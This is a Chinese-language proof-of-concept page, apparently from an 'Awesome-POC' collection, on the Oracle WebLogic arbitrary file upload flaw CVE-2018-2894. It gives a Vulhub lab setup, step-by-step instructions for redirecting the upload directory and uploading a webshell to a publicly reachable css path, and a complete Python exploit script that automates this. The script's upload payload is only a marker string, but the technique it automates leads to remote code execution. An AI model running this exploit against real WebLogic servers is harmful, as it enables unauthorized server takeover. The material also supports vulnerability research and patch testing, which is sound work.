Awesome-POC/中间件漏洞/Weblogic 任意文件上传漏洞 CVE-2018-2894.md
2024-11-06 14:10:36 +08:00

192 lines
6.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Weblogic 任意文件上传漏洞 CVE-2018-2894
## 漏洞描述
Oracle 7月更新中修复了Weblogic Web Service Test Page中一处任意文件上传漏洞Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。
利用该漏洞可以上传任意jsp文件进而获取服务器权限。
参考链接:
- http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
- https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ
- https://xz.aliyun.com/t/2458
## 环境搭建
Vulhub执行如下命令启动weblogic 12.2.1.3
```
docker-compose up -d
```
环境启动后,访问`http://your-ip:7001/console`,即可看到后台登录页面。
执行`docker-compose logs | grep password`可查看管理员密码,管理员用户名为`weblogic`
![image-20220302203000932](images/202203022030030.png)
登录后台页面,点击`base_domain`的配置,在“高级”中开启“启用 Web 服务测试页”选项:
![image-20220302203542573](images/202203022035688.png)
## 漏洞复现
访问`http://your-ip:7001/ws_utc/config.do`设置Work Home Dir为`/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css`
此处将目录设置为`ws_utc`应用的静态文件css目录访问这个目录是无需权限的这一点很重要。
![image-20220302203638857](images/202203022036918.png)
然后点击安全 -> 增加然后上传webshell
![image-20220302203827084](images/202203022038182.png)
上传后,查看返回的数据包,其中有时间戳:
![image-20220302203933002](images/202203022039062.png)
然后访问`http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]`即可执行webshell
![image-20220302204103311](images/202203022041348.png)
## 开源POC
- https://github.com/0xn0ne/weblogicScanner
- https://github.com/rabbitmask/WeblogicScan
- https://github.com/dr0op/WeblogicScan
## 漏洞EXP
```python
#!/usr/bin/env python
# coding:utf-8
# Build By LandGrey
from __future__ import print_function
from builtins import str
import re
import sys
import time
import argparse
import requests
import traceback
import xml.etree.ElementTree as ET
def get_current_work_path(host):
geturl = host + "/ws_utc/resources/setting/options/general"
ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'}
values = []
try:
request = requests.get(geturl)
if request.status_code == 404:
exit("[-] {} don't exists CVE-2018-2894".format(host))
elif "Deploying Application".lower() in request.text.lower():
print("[*] First Deploying Website Please wait a moment ...")
time.sleep(20)
request = requests.get(geturl, headers=ua)
if "</defaultValue>" in request.content:
root = ET.fromstring(request.content)
value = root.find("section").find("options")
for e in value:
for sub in e:
if e.tag == "parameter" and sub.tag == "defaultValue":
values.append(sub.text)
except requests.ConnectionError:
exit("[-] Cannot connect url: {}".format(geturl))
if values:
return values[0]
else:
print("[-] Cannot get current work path\n")
exit(request.content)
def get_new_work_path(host):
origin_work_path = get_current_work_path(host)
works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css"
if "user_projects" in origin_work_path:
if "\\" in origin_work_path:
works = works.replace("/", "\\")
current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains"
dir_len = len(current_work_home.split("\\"))
domain_name = origin_work_path.split("\\")[dir_len]
current_work_home += "\\" + domain_name + works
else:
current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains"
dir_len = len(current_work_home.split("/"))
domain_name = origin_work_path.split("/")[dir_len]
current_work_home += "/" + domain_name + works
else:
current_work_home = origin_work_path
print("[*] cannot handle current work home dir: {}".format(origin_work_path))
return current_work_home
def set_new_upload_path(host, path):
data = {
"setting_id": "general",
"BasicConfigOptions.workDir": path,
"BasicConfigOptions.proxyHost": "",
"BasicConfigOptions.proxyPort": "80"}
request = requests.post(host + "/ws_utc/resources/setting/options", data=data, headers=headers)
if "successfully" in request.content:
return True
else:
print("[-] Change New Upload Path failed")
exit(request.content)
def upload_webshell(host, uri):
set_new_upload_path(host, get_new_work_path(host))
files = {
"ks_edit_mode": "false",
"ks_password_front": password,
"ks_password_changed": "true",
"ks_filename": ("360sglab.jsp", upload_content)
}
request = requests.post(host + uri, files=files)
response = request.text
match = re.findall("<id>(.*?)</id>", response)
if match:
tid = match[-1]
shell_path = host + "/ws_utc/css/config/keystore/" + str(tid) + "_360sglab.jsp"
if upload_content in requests.get(shell_path, headers=headers).content:
print("[+] {} exists CVE-2018-2894".format(host))
print("[+] Check URL: {} ".format(shell_path))
else:
print("[-] {} don't exists CVE-2018-2894".format(host))
else:
print("[-] {} don't exists CVE-2018-2894".format(host))
if __name__ == "__main__":
start = time.time()
password = "360sglab"
url = "/ws_utc/resources/setting/keystore"
parser = argparse.ArgumentParser()
parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str,
help="target, such as: http://example.com:7001")
upload_content = "360sglab test"
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest', }
if len(sys.argv) == 1:
sys.argv.append('-h')
args = parser.parse_args()
target = args.target
target = target.rstrip('/')
if "://" not in target:
target = "http://" + target
try:
upload_webshell(target, url)
except Exception as e:
print("[-] Error: \n")
traceback.print_exc()
```